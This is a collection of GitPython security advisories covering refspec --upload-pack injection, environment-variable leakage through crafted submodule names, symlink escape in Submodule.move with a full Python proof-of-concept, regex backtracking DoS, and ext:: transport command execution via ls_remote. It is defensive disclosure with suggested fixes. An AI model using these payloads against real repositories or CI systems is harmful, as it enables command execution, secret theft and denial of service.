The relevant guard is Remote.pull()'s own check_unsafe_options call, present in the current released artifact. It is incomplete: it inspects Git._option_candidates([], kwargs), which only considers keyword arguments, so the positional refspec is never checked. This was confirmed empirically: passing the identical value as the upload_pack= keyword argument raises UnsafeOptionError, while passing it as the positional refspec does not, proving that only the positional escapes the guard.

The -- separator on the git pull command line was tested as a possible mitigation and refuted: with system git 2.43.0, git pull -- <remote> '--upload-pack=<cmd>' executed the injected command, while the identical value supplied to git fetch -- ... and git push -- ... did not execute, because those subcommands honor the -- terminator whereas git pull re-forwards positionals to an internal fetch without one. The check_unsafe_protocols transport check was also examined and does not flag the --upload-pack= token because it has no <transport>:: form. No prior published advisory for this package addresses Remote.pull, the fetch or pull refspec positional, or --upload-pack injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.

Affected Versions
  • Ecosystem: pip (PyPI)
  • Package: GitPython
  • Confirmed affected range: >= 3.1.30
  • Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag
  • Fix status: not fixed in any released version or on the development branch

The keyword-only pull guard together with the positional refspec sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped git/remote.py in each tagged artifact. Version 3.1.30 introduced the unsafe_git_pull_options guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the refspec positionally with no unsafe-option guard and no -- separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.

Suggested Fix

Enforce the unsafe-option invariant on the positional refspec, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into Git._option_candidates alongside kwargs) so that an option-shaped refspec such as --upload-pack=... is rejected with UnsafeOptionError unless allow_unsafe_options=True. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with -, avoid passing untrusted data as the refspec, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.

Reported by zx (GitHub: @​manus-pi).

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name

CVE-2026-110855 / GHSA-fx3j-rwgx-fr94

More information

Details

Summary

Repo._clone()'s handling of separate_git_dir never disables Git.polish_url()'s environment-variable expansion, unlike every other caller of that helper that handles attacker-influenced data. Since separate_git_dir can be derived from an attacker-controlled .gitmodules submodule name, a completely ordinary clone + submodule_update(init=True, recursive=True) on a malicious repository expands an environment variable of the attacker's choosing and exposes its value both as a persistent on-disk directory name and, whenever DEBUG-level logging is enabled (a common CI/verbose-logging configuration), in a Popen(...) log line that is not redacted the way credential-bearing arguments are.

Root cause / Details

git/repo/base.py's _clone() has:

sep_dir = kwargs.get("separate_git_dir")
if sep_dir:
    kwargs["separate_git_dir"] = Git.polish_url(sep_dir)

This is the only remaining Git.polish_url() call site handling attacker-influenced data that does not pass expand_vars=False (there is one other unguarded call site, clone_path at line 1537, but its input is the caller's own local destination path, not attacker-controlled). The sibling fixes for GHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573 added expand_vars=False to clone_url (5 lines below this one, in the same function), git/repo/base.py:1599, remote.py:814, and submodule/base.py:686 — this one did not receive it. (submodule/root.py also currently sets expand_vars=False at a related call site, but that was added incidentally by a later, unrelated commit, not as part of these security fixes.) Git.polish_url()'s docstring itself says: "Disable this for values obtained from an untrusted source, such as remote URLs." Its non-Cygwin branch does plain os.path.expandvars() on the entire string, including embedded variables anywhere in an absolute path.

separate_git_dir reaches _clone() from Submodule._clone_repo() (git/objects/submodule/base.py) as module_abspath = osp.join(parent_repo.git_dir, "modules", name), where name is the raw .gitmodules submodule section name — fully attacker-controlled content of a cloned repository. _validated_name() (added by the fix for GHSA-hmq2-w58f-27jc) only rejects names that are absolute, contain a drive letter, or contain .. path components; it does not reject $. _need_gitfile_submodules() is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.

Reproduction (live, against real, unmodified GitPython code, no monkeypatching)

Built a hostile repository with a plain, ordinary git command: git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub. Set an environment variable in the "victim" process (standing in for a real CI secret such as AWS_SECRET_ACCESS_KEY): GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345. Then ran the exact ordinary workflow the GHSA-hmq2-w58f-27jc advisory's own PoC also uses:

repo = Repo.clone_from(evil_parent_url, victim_clone_dir)
repo.submodule_update(init=True, recursive=True)

Observed result (ls .git/modules/):

.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/   (a full git repo: HEAD, config, objects/, refs/, hooks/)

The literal $GPY_SECRET_MARKER-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the git clone --separate-git-dir=... subprocess argument. The persistent, expanded-name directory under .git/modules/ is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the git.cmd/git.repo.base loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own Popen(...) debug log line prints the fully expanded --separate-git-dir=<value> subprocess argument verbatim — remove_password_if_present() only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an OSError/FileNotFoundError referencing the original, unexpanded name, since _write_git_file_and_module_config() looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)

Control: the same call with an ordinary (no $) submodule name succeeds normally and creates .git/modules/<name> as expected — isolating the gap to submodule names containing environment-variable syntax specifically.

Already-known check

Checked all 35 published gitpython-developers/GitPython security advisories in full text. GHSA-hmq2-w58f-27jc covers the same name → .git/modules/<name> path but for path-traversal (../../..), not variable expansion. GHSA-59cr-6r3x-644w covers the sibling path field reaching unguarded os.makedirs(). GHSA-94p4-4cq8-9g67/GHSA-rwj8-pgh3-r573 cover expand_vars, but only on URL arguments. git log -p -S "separate_git_dir" -- git/repo/base.py shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit 57d05379).

The closest topical match is GHSA-8mcc-hrx5-hvxc ("clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options") — already fixed, and its own text discusses this same _clone() handling of separate_git_dir. That fix only added --separate-git-dir to the unsafe_git_clone_options denylist, which gates the direct-kwarg vector; Submodule._clone_repo() explicitly sets allow_unsafe_options=True for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current main, which already has that fix). The bug this report describes is independent of that denylist — the value itself is expanded via os.path.expandvars() regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.

No advisory describes environment-variable expansion via the internal separate_git_dir path.

Suggested fix

Add expand_vars=False to the Git.polish_url(sep_dir) call in _clone(), matching the four other call sites already fixed for the same class of issue.

Verification level

Reproduced in a real environment: plain Linux, unmodified GitPython from current main, real git ≥ 1.7.5 behavior, an ordinary git submodule add + clone + submodule_update(init=True, recursive=True) workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).

AI Use Disclosure

AI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.

Credit: please use "baeseungwon1010" (github.com/baeseungwon1010).

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-110860 / GHSA-gq48-pqfc-9p58

More information

Details

Summary

GitPython's public Submodule.move() API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.

The reporter reproduced this on the latest release, GitPython 3.1.62, and current main. In the strict scenario, the repository commits vendor -> ../outside, while the consuming application independently passes the fixed literal vendor/module. Submodule.move() follows vendor, moves the initialized submodule checkout to outside/module, rewrites .gitmodules and the index to the symlinked path, and leaves the index unable to produce a tree.

The same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.

Trust boundary and preconditions

The attacker controls:

  • an untrusted Git repository that the application clones;
  • a mode-120000 tracked symlink named vendor;
  • the initialized submodule's content.

The consuming application controls the call and uses a fixed layout rule:

submodule.move("vendor/module")

The trigger requires the application to initialize the submodule and later call Submodule.move() with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires core.symlinks=true with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.

Product and directly verified revisions
  • Package: GitPython (pip ecosystem)
  • Latest release: 3.1.62, tag commit db47516dac750c5968b8f6d388b18712c355df50
  • Current main: b62e91be897f687a622e40cd1e59c33dce45f124
  • Relevant git/objects/submodule/base.py SHA-256 in both revisions: a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c
  • Upstream state rechecked: 2026-09-10 KST

Only these two revisions were directly tested.

Severity and weakness

The demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.

For a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, AV:N gives a conditional application-level score of 7.1. A fully automatic service may warrant a different UI assessment. The library report uses AV:L because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.

No confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.

Reproducer

The following script creates only temporary local repositories and a self-generated canary. It passes protocol.file.allow=always separately with -c on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.

Run it from a fresh source checkout:

git clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git
python3 poc.py /path/to/GitPython
python3 poc.py --absolute-link /path/to/GitPython

--absolute-link commits the temporary external directory's absolute path instead of ../outside.


#!/usr/bin/env python3
"""Local-only reproducer for GitPython Submodule.move() symlink traversal."""

from __future__ import annotations

import argparse
import json
import subprocess
import sys
import tempfile
from pathlib import Path
from typing import Optional

def run_git(
    *args: str, cwd: Optional[Path] = None, check: bool = True
) -> subprocess.CompletedProcess:
    command = [
        "git",
        "-c",
        "user.name=GitPython security fixture",
        "-c",
        "user.email=fixture@example.invalid",
        "-c",
        "protocol.file.allow=always",
        *args,
    ]
    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)

def read_core_worktree(parent) -> str:
    module_config = Path(parent.git_dir) / "modules" / "logical-name" / "config"
    return parent.git.config("--file", str(module_config), "--get", "core.worktree")

def read_gitmodules_path(parent) -> str:
    modules_file = Path(parent.working_tree_dir) / ".gitmodules"
    return parent.git.config(
        "--file", str(modules_file), "--get", "submodule.logical-name.path"
    )

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("source_root", type=Path, help="GitPython source checkout")
    parser.add_argument(
        "--absolute-link",
        action="store_true",
        help=(
            "Use the temporary external directory's absolute path as the committed "
            "symlink target"
        ),
    )
    args = parser.parse_args()

    source_root = args.source_root.resolve()
    # The tested GitPython source trees include gitdb and smmap at their roots.
    sys.path[:0] = [
        str(source_root),
        str(source_root / "gitdb"),
        str(source_root / "smmap"),
    ]
    import gitdb  # pylint: disable=import-outside-toplevel
    import smmap  # pylint: disable=import-outside-toplevel
    from git import Repo  # pylint: disable=import-outside-toplevel

    with tempfile.TemporaryDirectory(prefix="gitpython-move-poc-") as temporary:
        root = Path(temporary)
        module_source = root / "module-source"
        attacker = root / "attacker-parent"
        victim = root / "victim-parent"
        outside = root / "outside"

        run_git("init", "--quiet", str(module_source))
        (module_source / "SELF_GENERATED_CANARY.txt").write_text(
            "SELF_GENERATED_CANARY\n", encoding="utf-8"
        )
        run_git("add", "SELF_GENERATED_CANARY.txt", cwd=module_source)
        run_git("commit", "--quiet", "-m", "fixture", cwd=module_source)

        outside.mkdir()
        run_git("init", "--quiet", str(attacker))
        run_git(
            "submodule",
            "add",
            "--quiet",
            "--name",
            "logical-name",
            str(module_source),
            "module",
            cwd=attacker,
        )
        link_target = str(outside.resolve()) if args.absolute_link else "../outside"
        (attacker / "vendor").symlink_to(link_target, target_is_directory=True)
        run_git("add", ".gitmodules", "module", "vendor", cwd=attacker)
        run_git("commit", "--quiet", "-m", "attacker-controlled layout", cwd=attacker)

        run_git("clone", "--quiet", str(attacker), str(victim))
        run_git("submodule", "update", "--init", "--quiet", cwd=victim)

        parent = Repo(victim)
        submodule = parent.submodule("logical-name")
        before = {
            "status": parent.git.status("--porcelain"),
            "write_tree": parent.git.write_tree(),
            "vendor_index": parent.git.ls_files("--stage", "vendor"),
            "index_paths": parent.git.ls_files().splitlines(),
            "gitmodules_path": read_gitmodules_path(parent),
            "source_canary": (victim / "module" / "SELF_GENERATED_CANARY.txt").exists(),
            "external_canary": (
                outside / "module" / "SELF_GENERATED_CANARY.txt"
            ).exists(),
            "module_core_worktree": read_core_worktree(parent),
        }

        error = None
        try:
            submodule.move(
                "vendor/module"
            )  # Fixed application value; attacker does not control it.
        # Capture the exact type and text so a patched rejection remains visible.
        except Exception as exception:
            error = {"type": type(exception).__name__, "message": str(exception)}

        write_tree = None
        write_tree_error = None
        try:
            write_tree = parent.git.write_tree()
        except Exception as exception:
            write_tree_error = {
                "type": type(exception).__name__,
                "message": str(exception),
            }

        result = {
            "imported_modules": {
                "git": str(Path(sys.modules["git"].__file__).resolve()),
                "gitdb": str(Path(gitdb.__file__).resolve()),
                "smmap": str(Path(smmap.__file__).resolve()),
            },
            "committed_symlink_target": link_target,
            "before": before,
            "call_error": error,
            "after": {
                "status": parent.git.status("--porcelain"),
                "source_canary": (
                    victim / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "external_canary": (
                    outside / "module" / "SELF_GENERATED_CANARY.txt"
                ).exists(),
                "index_paths": parent.git.ls_files().splitlines(),
                "gitmodules": (victim / ".gitmodules").read_text(encoding="utf-8"),
                "gitmodules_path": read_gitmodules_path(parent),
                "submodule_path": submodule.path,
                "module_core_worktree": read_core_worktree(parent),
                "write_tree": write_tree,
                "write_tree_error": write_tree_error,
            },
        }
        print(json.dumps(result, indent=2, sort_keys=True))
        parent.close()
    return 0

if __name__ == "__main__":
    raise SystemExit(main())
Observed result

The relative and absolute symlink variants produced the same security-relevant result on both directly tested revisions:

State Before After unpatched move()
API result not called returns successfully
Original checkout module/SELF_GENERATED_CANARY.txt exists checkout is gone
External destination outside/module absent canary exists under outside/module
Parent index .gitmodules, module, vendor .gitmodules, vendor, vendor/module
.gitmodules path module vendor/module
module core.worktree ../../../module ../../../vendor/module
git write-tree succeeds fails

The failure after the move is:

You have both vendor and vendor/module
fatal: git-write-tree: error building trees

The tracked attacker input is present in the clean clone before the call:

120000 d09b80733baa4f6b198f2cf2d62bbfc5b6cbf1f0 0 vendor

With the proposed patch, the same calls raise before mutation:

ValueError: Submodule checkout path 'vendor/module' contains a symbolic link

The checkout, external directory, index, .gitmodules, and module configuration then remain unchanged, and git write-tree succeeds.

Root cause

Submodule._to_relative_path() delegates to a helper that uses abspath(), commonpath(), and relpath() to enforce lexical containment. These operations normalize .., but they do not resolve or reject an existing intermediate symbolic link.

The relevant helper is git.util._to_relative_path():

root_abs = osp.abspath(os.fspath(root))
path_abs = osp.abspath(osp.join(root_abs, path_str))
common_path = osp.commonpath([root_abs, path_abs])
if common_path != root_abs:
    raise ValueError(...)
relative_path = to_native_path_linux(osp.relpath(path_abs, root_abs))

Submodule.move() then joins the accepted relative path to the worktree and passes it to filesystem operations, including os.listdir() and os.renames():

module_checkout_path = self._to_relative_path(self.repo, module_path)
...
module_checkout_abspath = join_path_native(str(self.repo.working_tree_dir), module_checkout_path)
...
os.renames(cur_path, module_checkout_abspath)

The operating system resolves vendor/module through the checked-out vendor link at that point.

GitPython already applies the intended component check to the source checkout through Submodule.abspath: it walks every component and rejects os.path.islink(path). The destination in move() does not use that guard.

Suggested fix

The proposed patch below factors the existing component walk into a shared checkout-path helper and applies it to the normalized move destination before any filesystem, index, or configuration mutation. It:

  • normalizes the destination exactly once;
  • preserves the existing early return for a no-op move;
  • rejects symbolic links in every intermediate destination component;
  • preserves existing final-component symlink behavior;
  • leaves Submodule.abspath's all-component guard intact.

The final-component exception preserves current compatibility. The existing code first uses isfile() and listdir() to classify the link target, then uses os.remove() to unlink an empty-directory leaf symlink before moving the checkout. Tests confirm that an empty-directory leaf link is replaced while its target remains unchanged; non-empty-directory and file targets are rejected; a dangling leaf produces OSError without changing repository state. Because the pre-removal isfile(), exists(), and listdir() calls follow the leaf link, the existing behavior retains an existence/emptiness oracle for that external target; the proof demonstrates no write through the leaf link.

The component check closes the non-racing, attacker-committed symlink case reported here. It is not a claim of protection against a concurrent same-user process replacing a checked directory after validation; descriptor-relative traversal and rename would be needed if that separate race is in scope. Because move() is decorated with @unbare_repo, working_tree_dir should be present; the helper nevertheless changes an impossible or malformed None state from the previous str(None) path construction to an explicit NotADirectoryError.

Validation

The strict clean-clone proof was run with both relative and absolute committed symlink targets:

Revision macOS ARM64 unpatched Linux ARM64 unpatched macOS patched Linux patched
3.1.62 escape reproduced escape reproduced rejected before mutation rejected before mutation
main b62e91b escape reproduced escape reproduced rejected before mutation rejected before mutation

Both platforms were ARM64 on the same physical Mac; Linux ran in a local LinuxKit VM image. All runs used Python 3.14.7. The Linux runs used a local image by immutable SHA-256, with networking disabled, a read-only container root and source mount, and a temporary writable /tmp.

Pinned reproducer SHA-256: 513b6f32fc44cc74bee1ca8e81e8ed3f48ae89bfdc332dd6782886bfd1d6a79c.

The documented shallow-clone command was also executed from a new temporary directory at 3.1.62. The reproducer resolved git, gitdb, and smmap from that checkout (git/__init__.py, gitdb/gitdb/__init__.py, and smmap/smmap/__init__.py) and reproduced the same external move. In that exact checkout, git ls-tree HEAD gitdb smmap git/ext reports ordinary mode-040000 trees for root gitdb and smmap, no .gitmodules file exists, and git submodule status --recursive produces no entries. No recursive submodule checkout or preinstalled GitPython dependency was used for that bootstrap check. The evidence package includes both the raw local tree transcript and the matching official GitHub tree API entries.

The revised patch also passed 12 focused tests on each revision on each platform (48 test executions total). They cover:

  • relative and absolute ordinary moves from an external process working directory;
  • relative and absolute no-op ordering;
  • no-op compatibility when the stored path includes an existing symlink;
  • the unchanged Submodule.abspath leaf-link guard;
  • relative and absolute intermediate-link rejection before rename;
  • empty-directory, non-empty-directory, file, and dangling final-component link behavior.

Ruff 0.16.6 lint and format checks, Python compilation, patch application, and patched-file byte comparison passed for both revisions. GitPython's complete upstream test suite and mypy were not run against the patch; the test claim is limited to the focused matrix described above.

Additional saved controls on both revisions record rejection of ../ and absolute API destinations, preservation of existing files and non-empty directories, the final-component link behavior, and RootModule.update() rejecting the tested commit-to-commit symlinked path before its internal move. These controls are separate from the strict 16-run proof.

Impact limits and compatibility observations
  • An existing destination file and an existing non-empty destination directory are preserved and rejected.
  • A missing or empty leaf below an external symlink target can be populated.
  • ../ and an absolute API destination outside the worktree are already rejected; the bypass is filesystem resolution of a lexically in-tree path.
  • RootModule.update() rejects the tested commit-to-commit symlinked path before its internal move() call, so ordinary clone/update is not an automatic trigger.
  • The proof does not require or demonstrate a local race.
  • The directly demonstrated relative target is the practical repository-relative case. The absolute variant proves target-path scope using a temporary path known to the fixture; a remote attacker would instead need a predictable absolute directory on the victim.
  • The exact affected history before 3.1.62 has not been established.
AI assistance and credit

This report was prepared with AI assistance. The working proof was executed locally against both pinned revisions on macOS and Linux, and every reported state transition was checked against saved structured output. The proposed patch and focused tests were executed independently from the vulnerable proof.

Requested credit: GitHub user dpfkdlemtp.

Severity

Moderate

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines

CVE-2026-110856 / GHSA-m64x-33q8-m5h7

More information

Details

Summary

This is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made Actor._from_string regex-free, but parse_actor_and_date still runs _re_actor_epoch on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.

Details

git/objects/util.py:322:

_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$")

.+? and (.*) can both absorb the same run of spaces, and the required (\d+) ([+-]\d+) tail is only checked after them. On a long line with no valid tail, the search retries every split point.

It is called from parse_actor_and_date (git/objects/util.py:335), which runs on the author and committer lines in Commit._deserialize (git/objects/commit.py:917, :931) and on the tagger line in git/objects/tag.py:129.

The published payload (letters plus an unterminated <) is fast on 3.1.62. Replacing the letters with spaces is not:

author line (after author ) 2 KB 8 KB 32 KB
'a'*n + ' <' (advisory payload) 0.0 ms 0.1 ms 0.4 ms
' '*n 28 ms 453 ms 7,700 ms
valid line, long name (control) 0.0 ms 0.0 ms 0.0 ms

Cost grows about 16x for each 4x increase in length.

PoC
import time
from git.objects.util import parse_actor_and_date

line = "author " + " " * 32000
t = time.perf_counter()
parse_actor_and_date(line)
print(f"{time.perf_counter() - t:.1f} s")   # ~7 s on 3.1.62

End to end, reading Commit.author on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid 1191999972 -0700 tail takes 1.3 ms.

Note for reproducing: git hash-object -t commit -w refuses such an object (missingEmail), so the test object was written with --literally. A remote can still serve one, because fetch.fsckObjects and transfer.fsckObjects default to false. This is the same delivery model as CVE-2026-87819 ("craft a commit object with a malformed author field").

Impact

CPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to Commit.author, Commit.committer or TagObject.tagger on a crafted object costs seconds, and a repository can contain many such objects.

Suggested fix

Match the leading field name with .[^ ]* instead of .+?. Both stop at the first space after the first character, but .[^ ]* cannot overlap the following (.*), so the backtracking disappears:

_re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$")
_re_only_actor = re.compile(r"^.[^ ]* (.*)$")

Verification on current main (73a72c9):

  • Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.
  • ' '*n at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).
  • The existing test suite gives the same pass/fail set with and without the change
  • The new regression test, test_parse_actor_and_date_malformed_line_is_linear, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).

The full patch (fix plus regression test) is attached below.

diff --git a/git/objects/util.py b/git/objects/util.py
index a68d701f..d8c0594d 100644
--- a/git/objects/util.py
+++ b/git/objects/util.py
@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:
 
 
 # Precompiled regexes
-_re_actor_epoch = re.compile(r"^.+? (.*) (\d+) ([+-]\d+).*$")
-_re_only_actor = re.compile(r"^.+? (.*)$")
+# The leading field name ("author", "committer", "tagger") is matched with ``.[^ ]*`` rather than
+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the
+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.
+_re_actor_epoch = re.compile(r"^.[^ ]* (.*) (\d+) ([+-]\d+).*$")
+_re_only_actor = re.compile(r"^.[^ ]* (.*)$")
 
 
 def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:
diff --git a/test/test_util.py b/test/test_util.py
index cf4299d5..e1631420 100644
--- a/test/test_util.py
+++ b/test/test_util.py
@@ -22,6 +22,7 @@ from git.cmd import dashify
 from git.objects.util import (
     altz_to_utctz_str,
     from_timestamp,
+    parse_actor_and_date,
     parse_date,
     tzoffset,
     utctz_to_altz,
@@ -571,6 +572,30 @@ class TestUtils(TestBase):
             Actor("name last another", "some-very-long-email@example.com"),
         )
 
+    def test_parse_actor_and_date_malformed_line_is_linear(self):
+        # A long author line whose trailing epoch/offset is missing or malformed used to make
+        # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.
+        # The parse result must be unchanged; only the time spent reaching it should move.
+        for tail in ("", " notanumber -0700", " 1191999972", " -0700", " 1191999972 xx"):
+            line = "author " + " " * 32000 + tail
+            start = time.perf_counter()
+            actor, epoch, offset = parse_actor_and_date(line)
+            self.assertLess(time.perf_counter() - start, 1.0)
+            self.assertEqual(epoch, 0)
+            self.assertEqual(offset, 0)
+
+        # Well-formed lines, including one with a long name, still parse exactly as before.
+        actor, epoch, offset = parse_actor_and_date(
+            "author Tom Preston-Werner <tom@mojombo.com> 1191999972 -0700"
+        )
+        self.assertEqual(actor, Actor("Tom Preston-Werner", "tom@mojombo.com"))
+        self.assertEqual(epoch, 1191999972)
+        self.assertEqual(offset, 25200)
+
+        actor, epoch, offset = parse_actor_and_date("author " + "a " * 16000 + "<a@b> 1 -0700")
+        self.assertEqual(actor.email, "a@b")
+        self.assertEqual(epoch, 1)
+
     @ddt.data(
         ("name", ""),
         ("name", "prefix_"),

Found with AI assistance (Claude) and verified by hand.

Brian Willows

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython command wrappers omit unsafe protocol and option checks

CVE-2026-110857 / GHSA-w8jc-g24h-crhw

More information

Details

Summary

GitPython has spent 2022-2026 rolling out two reusable guards method-by-method: Git.check_unsafe_protocols(url) (raises UnsafeProtocolError for <transport>:: remote-helper URLs - CVE-2022-24439) and Git.check_unsafe_options(...) (raises UnsafeOptionError for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a git argv from caller-controlled values still have neither:

  1. Git.ls_remote (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no allow_unsafe_protocols parameter exists. The same URL through clone_from raises UnsafeProtocolError.
  2. Repo.merge_base (git/repo/base.py:895-936) - forwards **kwargs/*rev to self.git.merge_base with no guard; guarded sibling iter_commits sits 12 lines up. Its exception handler additionally swallows every non-128 GitCommandError into [], masking the injection.
  3. IndexFile.move (git/index/base.py:1092-1168) - forwards **kwargs to git mv twice (:1147, :1167); guarded sibling remove() is 23 lines above.

Verified unfixed on main @ a54d159 (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.

Impact

Site 1 (ls_remote) - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (Git(...).ls_remote(attacker_url)) with an ext::sh -c ... URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with protocol.ext.allow=always (marker executed). git >= 2.38.1 stock config refuses the transport (fatal: transport 'ext' not allowed, rc 128) - GitPython adds no defense-in-depth and surfaces a bare GitCommandError. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.

Sites 2/3 - latent argument-injection surface: caller kwargs flow 1:1 into the git argv before operands and -- (cmd.py:1850 opt_args + ext_args), and execute_kwargs (incl. shell=True/env - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today git merge-base/git mv expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.

Dynamic verification (today; GitPython main @​ a54d159, git 2.55.0, Linux)
# Call Result
T1 repo.git.ls_remote('ext::/tmp/gp_touch.sh'), stock config git refuses (rc 128); no UnsafeProtocolError from GitPython
T1b same + victim config protocol.ext.allow=always marker created - arbitrary command executed
T2 repo.git.ls_remote('.', upload_pack=...) blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap)
T3 repo.merge_base('main','side', upload_pack=...) not blocked; argv git merge-base --upload-pack=... main side; rc 129 silently converted to []
T4 repo.index.move(['f1','f2'], output=...) not blocked; option reaches git mv (rc 129)
Coverage matrix (main @​ a54d159)

check_unsafe_protocols: 7 call sites (_clone, archive, set_url, create, fetch, pull, push) - none on ls_remote.
check_unsafe_options: 24 call sites incl. ls_remote, iter_commits, IndexFile.remove - absent on merge_base and move.

Precedents (same repo, same guard family)
  • CVE-2022-24439 / GHSA-hcpj-qp55-gfph (critical): check_unsafe_protocols on the clone path - Site 1 is the same ext:: primitive on a sibling API.
  • CVE-2023-40267 / GHSA-pr76-5cm5-w9cj (critical, 'incomplete fix for CVE-2022-24439'): check_unsafe_options - unguarded kwargs to argv treated as RCE (shell=True on Windows).
  • CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.
  • CVE-2026-67323 / GHSA-956x-8gvw-wg5v (high, 8.4, fixed 3.1.51): added check_unsafe_options to archive/ls_remote/iter_commits/blame; its PoC is literally repo.git.ls_remote('.', upload_pack=...). Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: ls_remote got options but not protocols; merge_base/move got neither.
  1. Git.ls_remote: if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0]) + new allow_unsafe_protocols: bool = False (the _clone pattern, base.py:1536-1538).
  2. Repo.merge_base: check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options) (the iter_commits pattern); stop masking non-128 statuses.
  3. IndexFile.move: the remove() pattern with unsafe_git_pathspec_from_file_options.

One advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.

Severity

  • CVSS Score: 7.5 / 10 (High)
